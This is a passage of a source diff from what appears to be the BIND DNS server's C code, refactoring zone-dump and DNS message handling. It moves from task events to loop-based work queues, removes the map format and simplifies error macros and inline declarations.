@@ -665,7 +667,8 @@ rdataset_totext(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 			INDENT_TO(class_column);
 			class_start = target->used;
 			if ((ctx->style.flags & DNS_STYLEFLAG_UNKNOWNFORMAT) !=
-			    0) {
+			    0)
+			{
 				result = dns_rdataclass_tounknowntext(
 					rdataset->rdclass, target);
 			} else {
@@ -698,16 +701,18 @@ rdataset_totext(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 #define KEYDATA "KEYDATA"
 			if ((ctx->style.flags & DNS_STYLEFLAG_KEYDATA) != 0) {
 				if (isc_buffer_availablelength(target) <
-				    (sizeof(KEYDATA) - 1)) {
+				    (sizeof(KEYDATA) - 1))
+				{
 					return (ISC_R_NOSPACE);
 				}
 				isc_buffer_putstr(target, KEYDATA);
 				break;
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		default:
 			if ((ctx->style.flags & DNS_STYLEFLAG_UNKNOWNFORMAT) !=
-			    0) {
+			    0)
+			{
 				result = dns_rdatatype_tounknowntext(type,
 								     target);
 			} else {
@@ -801,7 +806,8 @@ question_totext(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 	/* Owner name */
 	{
 		unsigned int name_start = target->used;
-		RETERR(dns_name_totext(owner_name, omit_final_dot, target));
+		unsigned int opts = omit_final_dot ? DNS_NAME_OMITFINALDOT : 0;
+		RETERR(dns_name_totext(owner_name, opts, target));
 		column += target->used - name_start;
 	}
 
@@ -857,8 +863,7 @@ dns_rdataset_totext(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 	isc_result_t result;
 	result = totext_ctx_init(&dns_master_style_debug, NULL, &ctx);
 	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "could not set master file style");
+		UNEXPECTED_ERROR("could not set master file style");
 		return (ISC_R_UNEXPECTED);
 	}
 
@@ -890,8 +895,7 @@ dns_master_rdatasettotext(const dns_name_t *owner_name,
 	isc_result_t result;
 	result = totext_ctx_init(style, indent, &ctx);
 	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "could not set master file style");
+		UNEXPECTED_ERROR("could not set master file style");
 		return (ISC_R_UNEXPECTED);
 	}
 
@@ -907,8 +911,7 @@ dns_master_questiontotext(const dns_name_t *owner_name,
 	isc_result_t result;
 	result = totext_ctx_init(style, NULL, &ctx);
 	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "could not set master file style");
+		UNEXPECTED_ERROR("could not set master file style");
 		return (ISC_R_UNEXPECTED);
 	}
 
@@ -936,7 +939,8 @@ dump_rdataset(isc_mem_t *mctx, const dns_name_t *name, dns_rdataset_t *rdataset,
 
 	if ((ctx->style.flags & DNS_STYLEFLAG_TTL) != 0) {
 		if (!ctx->current_ttl_valid ||
-		    ctx->current_ttl != rdataset->ttl) {
+		    ctx->current_ttl != rdataset->ttl)
+		{
 			if ((ctx->style.flags & DNS_STYLEFLAG_COMMENT) != 0) {
 				isc_buffer_clear(buffer);
 				result = dns_ttl_totext(rdataset->ttl, true,
@@ -983,8 +987,7 @@ dump_rdataset(isc_mem_t *mctx, const dns_name_t *name, dns_rdataset_t *rdataset,
 	result = isc_stdio_write(r.base, 1, (size_t)r.length, f, NULL);
 
 	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "master file write failed: %s",
+		UNEXPECTED_ERROR("master file write failed: %s",
 				 isc_result_totext(result));
 		return (result);
 	}
@@ -1059,13 +1062,17 @@ dump_rdatasets_text(isc_mem_t *mctx, const dns_name_t *name,
 
 	if (itresult == ISC_R_SUCCESS && ctx->neworigin != NULL) {
 		isc_buffer_clear(buffer);
-		itresult = dns_name_totext(ctx->neworigin, false, buffer);
+		itresult = dns_name_totext(ctx->neworigin, 0, buffer);
 		RUNTIME_CHECK(itresult == ISC_R_SUCCESS);
 		isc_buffer_usedregion(buffer, &r);
 		fprintf(f, "$ORIGIN %.*s\n", (int)r.length, (char *)r.base);
 		ctx->neworigin = NULL;
 	}
 
+	if ((ctx->style.flags & DNS_STYLEFLAG_CLASS_PERNAME) != 0) {
+		ctx->class_printed = false;
+	}
+
 again:
 	for (i = 0; itresult == ISC_R_SUCCESS && i < MAXSORT;
 	     itresult = dns_rdatasetiter_next(rdsiter), i++)
@@ -1075,7 +1082,6 @@ dump_rdatasets_text(isc_mem_t *mctx, const dns_name_t *name,
 		sorted[i] = &rdatasets[i];
 	}
 	n = i;
-	INSIST(n <= MAXSORT);
 
 	qsort(sorted, n, sizeof(sorted[0]), dump_order_compare);
 
@@ -1083,7 +1089,8 @@ dump_rdatasets_text(isc_mem_t *mctx, const dns_name_t *name,
 		dns_rdataset_t *rds = sorted[i];
 
 		if (ANCIENT(rds) &&
-		    (ctx->style.flags & DNS_STYLEFLAG_EXPIRED) == 0) {
+		    (ctx->style.flags & DNS_STYLEFLAG_EXPIRED) == 0)
+		{
 			/* Omit expired entries */
 			dns_rdataset_disassociate(rds);
 			continue;
@@ -1228,7 +1235,8 @@ dump_rdataset_raw(isc_mem_t *mctx, const dns_name_t *name,
 		 * continue?).
 		 */
 		if (isc_buffer_availablelength(buffer) <
-		    sizeof(dlen) + r.length) {
+		    sizeof(dlen) + r.length)
+		{
 			int newlength;
 			void *newmem;
 
@@ -1266,8 +1274,7 @@ dump_rdataset_raw(isc_mem_t *mctx, const dns_name_t *name,
 	result = isc_stdio_write(r.base, 1, (size_t)r.length, f, NULL);
 
 	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "raw master file write failed: %s",
+		UNEXPECTED_ERROR("raw master file write failed: %s",
 				 isc_result_totext(result));
 		return (result);
 	}
@@ -1315,20 +1322,6 @@ dump_rdatasets_raw(isc_mem_t *mctx, const dns_name_t *owner_name,
 	return (result);
 }
 
-static isc_result_t
-dump_rdatasets_map(isc_mem_t *mctx, const dns_name_t *name,
-		   dns_rdatasetiter_t *rdsiter, dns_totext_ctx_t *ctx,
-		   isc_buffer_t *buffer, FILE *f) {
-	UNUSED(mctx);
-	UNUSED(name);
-	UNUSED(rdsiter);
-	UNUSED(ctx);
-	UNUSED(buffer);
-	UNUSED(f);
-
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
 /*
  * Initial size of text conversion buffer.  The buffer is used
  * for several purposes: converting origin names, rdatasets,
@@ -1353,9 +1346,6 @@ dumpctx_destroy(dns_dumpctx_t *dctx) {
 		dns_db_closeversion(dctx->db, &dctx->version, false);
 	}
 	dns_db_detach(&dctx->db);
-	if (dctx->task != NULL) {
-		isc_task_detach(&dctx->task);
-	}
 	if (dctx->file != NULL) {
 		isc_mem_free(dctx->mctx, dctx->file);
 	}
@@ -1515,50 +1505,16 @@ master_dump_cb(void *data) {
 }
 
 /*
- * This will run in a network/task manager thread when the dump is complete.
+ * This will run in a loop manager thread when the dump is complete.
  */
 static void
-master_dump_done_cb(void *data, isc_result_t result) {
+master_dump_done_cb(void *data) {
 	dns_dumpctx_t *dctx = data;
 
-	if (result == ISC_R_SUCCESS && dctx->result != ISC_R_SUCCESS) {
-		result = dctx->result;
-	}
-
-	(dctx->done)(dctx->done_arg, result);
+	(dctx->done)(dctx->done_arg, dctx->result);
 	dns_dumpctx_detach(&dctx);
 }
 
-/*
- * This must be run from a network/task manager thread.
- */
-static void
-setup_dump(isc_task_t *task, isc_event_t *event) {
-	dns_dumpctx_t *dctx = NULL;
-
-	REQUIRE(isc_nm_tid() >= 0);
-	REQUIRE(event != NULL);
-
-	dctx = event->ev_arg;
-
-	REQUIRE(DNS_DCTX_VALID(dctx));
-
-	isc_nm_work_offload(isc_task_getnetmgr(task), master_dump_cb,
-			    master_dump_done_cb, dctx);
-
-	isc_event_free(&event);
-}
-
-static isc_result_t
-task_send(dns_dumpctx_t *dctx) {
-	isc_event_t *event;
-
-	event = isc_event_allocate(dctx->mctx, NULL, DNS_EVENT_DUMPQUANTUM,
-				   setup_dump, dctx, sizeof(*event));
-	isc_task_send(dctx->task, &event);
-	return (ISC_R_SUCCESS);
-}
-
 static isc_result_t
 dumpctx_create(isc_mem_t *mctx, dns_db_t *db, dns_dbversion_t *version,
 	       const dns_master_style_t *style, FILE *f, dns_dumpctx_t **dctxp,
@@ -1568,19 +1524,11 @@ dumpctx_create(isc_mem_t *mctx, dns_db_t *db, dns_dbversion_t *version,
 	unsigned int options;
 
 	dctx = isc_mem_get(mctx, sizeof(*dctx));
+	*dctx = (dns_dumpctx_t){
+		.f = f,
+		.format = format,
+	};
 
-	dctx->mctx = NULL;
-	dctx->f = f;
-	dctx->dbiter = NULL;
-	dctx->db = NULL;
-	dctx->version = NULL;
-	dctx->done = NULL;
-	dctx->done_arg = NULL;
-	dctx->task = NULL;
-	atomic_init(&dctx->canceled, false);
-	dctx->file = NULL;
-	dctx->tmpfile = NULL;
-	dctx->format = format;
 	if (header == NULL) {
 		dns_master_initrawheader(&dctx->header);
 	} else {
@@ -1594,22 +1542,17 @@ dumpctx_create(isc_mem_t *mctx, dns_db_t *db, dns_dbversion_t *version,
 	case dns_masterformat_raw:
 		dctx->dumpsets = dump_rdatasets_raw;
 		break;
-	case dns_masterformat_map:
-		dctx->dumpsets = dump_rdatasets_map;
-		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	result = totext_ctx_init(style, NULL, &dctx->tctx);
 	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "could not set master file style");
+		UNEXPECTED_ERROR("could not set master file style");
 		goto cleanup;
 	}
 
-	isc_stdtime_get(&dctx->now);
+	dctx->now = isc_stdtime_now();
 	dns_db_attach(db, &dctx->db);
 
 	dctx->do_date = dns_db_iscache(dctx->db);
@@ -1689,7 +1632,6 @@ writeheader(dns_dumpctx_t *dctx) {
 		}
 		break;
 	case dns_masterformat_raw:
-	case dns_masterformat_map:
 		r.base = (unsigned char *)&rawheader;
 		r.length = sizeof(rawheader);
 		isc_buffer_region(&buffer, &r);
@@ -1720,8 +1662,7 @@ writeheader(dns_dumpctx_t *dctx) {
 
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	isc_mem_put(dctx->mctx, buffer.base, buffer.length);
@@ -1735,6 +1676,11 @@ dumptostream(dns_dumpctx_t *dctx) {
 	char *bufmem;
 	dns_name_t *name;
 	dns_fixedname_t fixname;
+	unsigned int options = DNS_DB_STALEOK;
+
+	if ((dctx->tctx.style.flags & DNS_STYLEFLAG_EXPIRED) != 0) {
+		options |= DNS_DB_EXPIREDOK;
+	}
 
 	bufmem = isc_mem_get(dctx->mctx, initial_buffer_length);
 
@@ -1744,17 +1690,6 @@ dumptostream(dns_dumpctx_t *dctx) {
 
 	CHECK(writeheader(dctx));
 
-	/*
-	 * Fast format is not currently written incrementally,
-	 * so we make the call to dns_db_serialize() here.
-	 * If the database is anything other than an rbtdb,
-	 * this should result in not implemented
-	 */
-	if (dctx->format == dns_masterformat_map) {
-		result = dns_db_serialize(dctx->db, dctx->version, dctx->f);
-		goto cleanup;
-	}
-
 	result = dns_dbiterator_first(dctx->dbiter);
 	if (result != ISC_R_SUCCESS && result != ISC_R_NOMORE) {
 		goto cleanup;
@@ -1774,7 +1709,8 @@ dumptostream(dns_dumpctx_t *dctx) {
 			result = dns_dbiterator_origin(dctx->dbiter, origin);
 			RUNTIME_CHECK(result == ISC_R_SUCCESS);
 			if ((dctx->tctx.style.flags & DNS_STYLEFLAG_REL_DATA) !=
-			    0) {
+			    0)
+			{
 				dctx->tctx.origin = origin;
 			}
 			dctx->tctx.neworigin = origin;
@@ -1784,7 +1720,7 @@ dumptostream(dns_dumpctx_t *dctx) {
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
 		result = dns_db_allrdatasets(dctx->db, node, dctx->version,
-					     dctx->now, &rdsiter);
+					     options, dctx->now, &rdsiter);
 		if (result != ISC_R_SUCCESS) {
 			dns_db_detachnode(dctx->db, &node);
 			goto cleanup;
@@ -1813,12 +1749,12 @@ isc_result_t
 dns_master_dumptostreamasync(isc_mem_t *mctx, dns_db_t *db,
 			     dns_dbversion_t *version,
 			     const dns_master_style_t *style, FILE *f,
-			     isc_task_t *task, dns_dumpdonefunc_t done,
+			     isc_loop_t *loop, dns_dumpdonefunc_t done,
 			     void *done_arg, dns_dumpctx_t **dctxp) {
 	dns_dumpctx_t *dctx = NULL;
 	isc_result_t result;
 
-	REQUIRE(task != NULL);
+	REQUIRE(loop != NULL);
 	REQUIRE(f != NULL);
 	REQUIRE(done != NULL);
 
@@ -1827,18 +1763,13 @@ dns_master_dumptostreamasync(isc_mem_t *mctx, dns_db_t *db,
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
-	isc_task_attach(task, &dctx->task);
 	dctx->done = done;
 	dctx->done_arg = done_arg;
 
-	result = task_send(dctx);
-	if (result == ISC_R_SUCCESS) {
-		dns_dumpctx_attach(dctx, dctxp);
-		return (DNS_R_CONTINUE);
-	}
+	dns_dumpctx_attach(dctx, dctxp);
+	isc_work_enqueue(loop, master_dump_cb, master_dump_done_cb, dctx);
 
-	dns_dumpctx_detach(&dctx);
-	return (result);
+	return (ISC_R_SUCCESS);
 }
 
 isc_result_t
@@ -1864,8 +1795,7 @@ dns_master_dumptostream(isc_mem_t *mctx, dns_db_t *db, dns_dbversion_t *version,
 }
 
 static isc_result_t
-opentmp(isc_mem_t *mctx, dns_masterformat_t format, const char *file,
-	char **tempp, FILE **fp) {
+opentmp(isc_mem_t *mctx, const char *file, char **tempp, FILE **fp) {
 	FILE *f = NULL;
 	isc_result_t result;
 	char *tempname = NULL;
@@ -1879,11 +1809,7 @@ opentmp(isc_mem_t *mctx, dns_masterformat_t format, const char *file,
 		goto cleanup;
 	}
 
-	if (format == dns_masterformat_text) {
-		result = isc_file_openunique(tempname, &f);
-	} else {
-		result = isc_file_bopenunique(tempname, &f);
-	}
+	result = isc_file_openunique(tempname, &f);
 	if (result != ISC_R_SUCCESS) {
 		isc_log_write(dns_lctx, ISC_LOGCATEGORY_GENERAL,
 			      DNS_LOGMODULE_MASTERDUMP, ISC_LOG_ERROR,
@@ -1908,7 +1834,7 @@ opentmp(isc_mem_t *mctx, dns_masterformat_t format, const char *file,
 isc_result_t
 dns_master_dumpasync(isc_mem_t *mctx, dns_db_t *db, dns_dbversion_t *version,
 		     const dns_master_style_t *style, const char *filename,
-		     isc_task_t *task, dns_dumpdonefunc_t done, void *done_arg,
+		     isc_loop_t *loop, dns_dumpdonefunc_t done, void *done_arg,
 		     dns_dumpctx_t **dctxp, dns_masterformat_t format,
 		     dns_masterrawheader_t *header) {
 	FILE *f = NULL;
@@ -1919,43 +1845,35 @@ dns_master_dumpasync(isc_mem_t *mctx, dns_db_t *db, dns_dbversion_t *version,
 
 	file = isc_mem_strdup(mctx, filename);
 
-	result = opentmp(mctx, format, filename, &tempname, &f);
+	result = opentmp(mctx, filename, &tempname, &f);
 	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
+		goto cleanup_file;
 	}
 
 	result = dumpctx_create(mctx, db, version, style, f, &dctx, format,
 				header);
 	if (result != ISC_R_SUCCESS) {
-		(void)isc_stdio_close(f);
-		(void)isc_file_remove(tempname);
-		goto cleanup;
+		goto cleanup_tempname;
 	}
 
-	isc_task_attach(task, &dctx->task);
 	dctx->done = done;
 	dctx->done_arg = done_arg;
 	dctx->file = file;
-	file = NULL;
 	dctx->tmpfile = tempname;
-	tempname = NULL;
 
-	result = task_send(dctx);
-	if (result == ISC_R_SUCCESS) {
-		dns_dumpctx_attach(dctx, dctxp);
-		return (DNS_R_CONTINUE);
-	}
+	dns_dumpctx_attach(dctx, dctxp);
+	isc_work_enqueue(loop, master_dump_cb, master_dump_done_cb, dctx);
+
+	return (ISC_R_SUCCESS);
+
+cleanup_tempname:
+	(void)isc_stdio_close(f);
+	(void)isc_file_remove(tempname);
+	isc_mem_free(mctx, tempname);
+
+cleanup_file:
+	isc_mem_free(mctx, file);
 
-cleanup:
-	if (dctx != NULL) {
-		dns_dumpctx_detach(&dctx);
-	}
-	if (file != NULL) {
-		isc_mem_free(mctx, file);
-	}
-	if (tempname != NULL) {
-		isc_mem_free(mctx, tempname);
-	}
 	return (result);
 }
 
@@ -1968,7 +1886,7 @@ dns_master_dump(isc_mem_t *mctx, dns_db_t *db, dns_dbversion_t *version,
 	char *tempname;
 	dns_dumpctx_t *dctx = NULL;
 
-	result = opentmp(mctx, format, filename, &tempname, &f);
+	result = opentmp(mctx, filename, &tempname, &f);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -2002,24 +1920,26 @@ dns_master_dumpnodetostream(isc_mem_t *mctx, dns_db_t *db,
 	isc_result_t result;
 	isc_buffer_t buffer;
 	char *bufmem;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 	dns_totext_ctx_t ctx;
 	dns_rdatasetiter_t *rdsiter = NULL;
+	unsigned int options = DNS_DB_STALEOK;
+
+	if ((style->flags & DNS_STYLEFLAG_EXPIRED) != 0) {
+		options |= DNS_DB_EXPIREDOK;
+	}
 
 	result = totext_ctx_init(style, NULL, &ctx);
 	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "could not set master file style");
+		UNEXPECTED_ERROR("could not set master file style");
 		return (ISC_R_UNEXPECTED);
 	}
 
-	isc_stdtime_get(&now);
-
 	bufmem = isc_mem_get(mctx, initial_buffer_length);
 
 	isc_buffer_init(&buffer, bufmem, initial_buffer_length);
 
-	result = dns_db_allrdatasets(db, node, version, now, &rdsiter);
+	result = dns_db_allrdatasets(db, node, version, options, now, &rdsiter);
 	if (result != ISC_R_SUCCESS) {
 		goto failure;
 	}
diff --git a/lib/dns/message.c b/lib/dns/message.c
index 8f3efab6ec..6477253352 100644
--- a/lib/dns/message.c
+++ b/lib/dns/message.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -21,8 +23,8 @@
 
 #include <isc/buffer.h>
 #include <isc/mem.h>
-#include <isc/print.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
+#include <isc/result.h>
+#include <isc/string.h>
 #include <isc/utf8.h>
 #include <isc/util.h>
 
@@ -37,7 +39,7 @@
 #include <dns/rdatalist.h>
 #include <dns/rdataset.h>
 #include <dns/rdatastruct.h>
-#include <dns/result.h>
+#include <dns/soa.h>
 #include <dns/tsig.h>
 #include <dns/ttl.h>
 #include <dns/view.h>
@@ -51,7 +53,8 @@ hexdump(const char *msg, const char *msg2, void *base, size_t len) {
 	p = base;
 	cnt = 0;
 
-	printf("*** %s [%s] (%u bytes @ %p)\n", msg, msg2, (unsigned)len, base);
+	printf("*** %s [%s] (%u bytes @ %p)\n", msg, msg2, (unsigned int)len,
+	       base);
 
 	while (cnt < len) {
 		if (cnt % 16 == 0) {
@@ -94,6 +97,8 @@ hexdump(const char *msg, const char *msg2, void *base, size_t len) {
 		} else                                            \
 			isc_buffer_putstr(b, s);                  \
 	}
+#define VALID_NAMED_PSEUDOSECTION(s) \
+	(((s) > DNS_PSEUDOSECTION_ANY) && ((s) < DNS_PSEUDOSECTION_MAX))
 #define VALID_PSEUDOSECTION(s) \
 	(((s) >= DNS_PSEUDOSECTION_ANY) && ((s) < DNS_PSEUDOSECTION_MAX))
 
@@ -167,19 +172,19 @@ struct dns_msgblock {
 	ISC_LINK(dns_msgblock_t) link;
 }; /* dynamically sized */
 
-static inline dns_msgblock_t *
+static dns_msgblock_t *
 msgblock_allocate(isc_mem_t *, unsigned int, unsigned int);
 
 #define msgblock_get(block, type) \
 	((type *)msgblock_internalget(block, sizeof(type)))
 
-static inline void *
+static void *
 msgblock_internalget(dns_msgblock_t *, unsigned int);
 
-static inline void
+static void
 msgblock_reset(dns_msgblock_t *);
 
-static inline void
+static void
 msgblock_free(isc_mem_t *, dns_msgblock_t *, unsigned int);
 
 static void
@@ -192,7 +197,7 @@ logfmtpacket(dns_message_t *message, const char *description,
  * Allocate a new dns_msgblock_t, and return a pointer to it.  If no memory
  * is free, return NULL.
  */
-static inline dns_msgblock_t *
+static dns_msgblock_t *
 msgblock_allocate(isc_mem_t *mctx, unsigned int sizeof_type,
 		  unsigned int count) {
 	dns_msgblock_t *block;
@@ -214,7 +219,7 @@ msgblock_allocate(isc_mem_t *mctx, unsigned int sizeof_type,
  * Return an element from the msgblock.  If no more are available, return
  * NULL.
  */
-static inline void *
+static void *
 msgblock_internalget(dns_msgblock_t *block, unsigned int sizeof_type) {
 	void *ptr;
 
@@ -230,7 +235,7 @@ msgblock_internalget(dns_msgblock_t *block, unsigned int sizeof_type) {
 	return (ptr);
 }
 
-static inline void
+static void
 msgblock_reset(dns_msgblock_t *block) {
 	block->remaining = block->count;
 }
@@ -238,7 +243,7 @@ msgblock_reset(dns_msgblock_t *block) {
 /*
  * Release memory associated with a message block.
  */
-static inline void
+static void
 msgblock_free(isc_mem_t *mctx, dns_msgblock_t *block,
 	      unsigned int sizeof_type) {
 	unsigned int length;
@@ -253,7 +258,7 @@ msgblock_free(isc_mem_t *mctx, dns_msgblock_t *block,
  * "current" buffer.  (which is always the last on the list, for our
  * uses)
  */
-static inline isc_result_t
+static isc_result_t
 newbuffer(dns_message_t *msg, unsigned int size) {
 	isc_buffer_t *dynbuf;
 
@@ -264,7 +269,7 @@ newbuffer(dns_message_t *msg, unsigned int size) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_buffer_t *
+static isc_buffer_t *
 currentbuffer(dns_message_t *msg) {
 	isc_buffer_t *dynbuf;
 
@@ -274,12 +279,12 @@ currentbuffer(dns_message_t *msg) {
 	return (dynbuf);
 }
 
-static inline void
+static void
 releaserdata(dns_message_t *msg, dns_rdata_t *rdata) {
 	ISC_LIST_PREPEND(msg->freerdata, rdata, link);
 }
 
-static inline dns_rdata_t *
+static dns_rdata_t *
 newrdata(dns_message_t *msg) {
 	dns_msgblock_t *msgblock;
 	dns_rdata_t *rdata;
@@ -295,10 +300,6 @@ newrdata(dns_message_t *msg) {
 	if (rdata == NULL) {
 		msgblock = msgblock_allocate(msg->mctx, sizeof(dns_rdata_t),
 					     RDATA_COUNT);
-		if (msgblock == NULL) {
-			return (NULL);
-		}
-
 		ISC_LIST_APPEND(msg->rdatas, msgblock, link);
 
 		rdata = msgblock_get(msgblock, dns_rdata_t);
@@ -308,12 +309,12 @@ newrdata(dns_message_t *msg) {
 	return (rdata);
 }
 
-static inline void
+static void
 releaserdatalist(dns_message_t *msg, dns_rdatalist_t *rdatalist) {
 	ISC_LIST_PREPEND(msg->freerdatalist, rdatalist, link);
 }
 
-static inline dns_rdatalist_t *
+static dns_rdatalist_t *
 newrdatalist(dns_message_t *msg) {
 	dns_msgblock_t *msgblock;
 	dns_rdatalist_t *rdatalist;
@@ -329,23 +330,16 @@ newrdatalist(dns_message_t *msg) {
 	if (rdatalist == NULL) {
 		msgblock = msgblock_allocate(msg->mctx, sizeof(dns_rdatalist_t),
 					     RDATALIST_COUNT);
-		if (msgblock == NULL) {
-			return (NULL);
-		}
-
 		ISC_LIST_APPEND(msg->rdatalists, msgblock, link);
 
 		rdatalist = msgblock_get(msgblock, dns_rdatalist_t);
 	}
 out:
-	if (rdatalist != NULL) {
-		dns_rdatalist_init(rdatalist);
-	}
-
+	dns_rdatalist_init(rdatalist);
 	return (rdatalist);
 }
 
-static inline dns_offsets_t *
+static dns_offsets_t *
 newoffsets(dns_message_t *msg) {
 	dns_msgblock_t *msgblock;
 	dns_offsets_t *offsets;
@@ -355,10 +349,6 @@ newoffsets(dns_message_t *msg) {
 	if (offsets == NULL) {
 		msgblock = msgblock_allocate(msg->mctx, sizeof(dns_offsets_t),
 					     OFFSET_COUNT);
-		if (msgblock == NULL) {
-			return (NULL);
-		}
-
 		ISC_LIST_APPEND(msg->offsets, msgblock, link);
 
 		offsets = msgblock_get(msgblock, dns_offsets_t);
@@ -367,7 +357,7 @@ newoffsets(dns_message_t *msg) {
 	return (offsets);
 }
 
-static inline void
+static void
 msginitheader(dns_message_t *m) {
 	m->id = 0;
 	m->flags = 0;
@@ -376,7 +366,7 @@ msginitheader(dns_message_t *m) {
 	m->rdclass = 0;
 }
 
-static inline void
+static void
 msginitprivate(dns_message_t *m) {
 	unsigned int i;
 
@@ -398,7 +388,7 @@ msginitprivate(dns_message_t *m) {
 	m->buffer = NULL;
 }
 
-static inline void
+static void
 msginittsig(dns_message_t *m) {
 	m->tsigstatus = dns_rcode_noerror;
 	m->querytsigstatus = dns_rcode_noerror;
@@ -414,7 +404,7 @@ msginittsig(dns_message_t *m) {
  * Init elements to default state.  Used both when allocating a new element
  * and when resetting one.
  */
-static inline void
+static void
 msginit(dns_message_t *m) {
 	msginitheader(m);
 	msginitprivate(m);
@@ -443,7 +433,7 @@ msginit(dns_message_t *m) {
 	m->indent.count = 0;
 }
 
-static inline void
+static void
 msgresetnames(dns_message_t *msg, unsigned int first_section) {
 	unsigned int i;
 	dns_name_t *name, *next_name;
@@ -654,6 +644,13 @@ msgreset(dns_message_t *msg, bool everything) {
 		dynbuf = next_dynbuf;
 	}
 
+	if (msg->order_arg.env != NULL) {
+		dns_aclenv_detach(&msg->order_arg.env);
+	}
+	if (msg->order_arg.acl != NULL) {
+		dns_acl_detach(&msg->order_arg.acl);
+	}
+
 	/*
 	 * Set other bits to normal default values.
 	 */
@@ -692,7 +689,7 @@ spacefortsig(dns_tsigkey_t *key, int otherlen) {
 	 *     26 + n1 + n2 + x + y bytes
 	 */
 
-	dns_name_toregion(&key->name, &r1);
+	dns_name_toregion(key->name, &r1);
 	dns_name_toregion(key->algorithm, &r2);
 	if (key->key == NULL) {
 		x = 0;
@@ -736,12 +733,12 @@ dns_message_create(isc_mem_t *mctx, unsigned int intent, dns_message_t **msgp) {
 
 	isc_mempool_create(m->mctx, sizeof(dns_fixedname_t), &m->namepool);
 	isc_mempool_setfillcount(m->namepool, NAME_FILLCOUNT);
-	isc_mempool_setfreemax(m->namepool, 32 * NAME_FREEMAX);
+	isc_mempool_setfreemax(m->namepool, NAME_FREEMAX);
 	isc_mempool_setname(m->namepool, "msg:names");
 
 	isc_mempool_create(m->mctx, sizeof(dns_rdataset_t), &m->rdspool);
 	isc_mempool_setfillcount(m->rdspool, RDATASET_FILLCOUNT);
-	isc_mempool_setfreemax(m->rdspool, 32 * RDATASET_FREEMAX);
+	isc_mempool_setfreemax(m->rdspool, RDATASET_FREEMAX);
 	isc_mempool_setname(m->rdspool, "msg:rdataset");
 
 	isc_buffer_allocate(mctx, &dynbuf, SCRATCHPAD_SIZE);
@@ -827,7 +824,8 @@ dns_message_find(const dns_name_t *name, dns_rdataclass_t rdclass,
 	     curr = ISC_LIST_PREV(curr, link))
 	{
 		if (curr->rdclass == rdclass && curr->type == type &&
-		    curr->covers == covers) {
+		    curr->covers == covers)
+		{
 			if (rdataset != NULL) {
 				*rdataset = curr;
 			}
@@ -850,7 +848,7 @@ dns_message_findtype(const dns_name_t *name, dns_rdatatype_t type,
 	     curr = ISC_LIST_PREV(curr, link))
 	{
 		if (curr->type == type && curr->covers == covers) {
-			if (ISC_UNLIKELY(rdataset != NULL)) {
+			if (rdataset != NULL) {
 				*rdataset = curr;
 			}
 			return (ISC_R_SUCCESS);
@@ -865,7 +863,7 @@ dns_message_findtype(const dns_name_t *name, dns_rdatatype_t type,
  */
 static isc_result_t
 getname(dns_name_t *name, isc_buffer_t *source, dns_message_t *msg,
-	dns_decompress_t *dctx) {
+	dns_decompress_t dctx) {
 	isc_buffer_t *scratch;
 	isc_result_t result;
 	unsigned int tries;
@@ -878,7 +876,7 @@ getname(dns_name_t *name, isc_buffer_t *source, dns_message_t *msg,
 	 */
 	tries = 0;
 	while (tries < 2) {
-		result = dns_name_fromwire(name, source, dctx, 0, scratch);
+		result = dns_name_fromwire(name, source, dctx, scratch);
 
 		if (result == ISC_R_NOSPACE) {
 			tries++;
@@ -895,12 +893,11 @@ getname(dns_name_t *name, isc_buffer_t *source, dns_message_t *msg,
 		}
 	}
 
-	INSIST(0);
-	ISC_UNREACHABLE();
+	UNREACHABLE();
 }
 
 static isc_result_t
-getrdata(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
+getrdata(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t dctx,
 	 dns_rdataclass_t rdclass, dns_rdatatype_t rdtype,
 	 unsigned int rdatalen, dns_rdata_t *rdata) {
 	isc_buffer_t *scratch;
@@ -924,7 +921,7 @@ getrdata(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 	/* XXX possibly change this to a while (tries < 2) loop */
 	for (;;) {
 		result = dns_rdata_fromwire(rdata, rdclass, rdtype, source,
-					    dctx, 0, scratch);
+					    dctx, scratch);
 
 		if (result == ISC_R_NOSPACE) {
 			if (tries == 0) {
@@ -964,7 +961,7 @@ getrdata(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 	} while (0)
 
 static isc_result_t
-getquestions(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
+getquestions(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t dctx,
 	     unsigned int options) {
 	isc_region_t r;
 	unsigned int count;
@@ -982,10 +979,7 @@ getquestions(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 
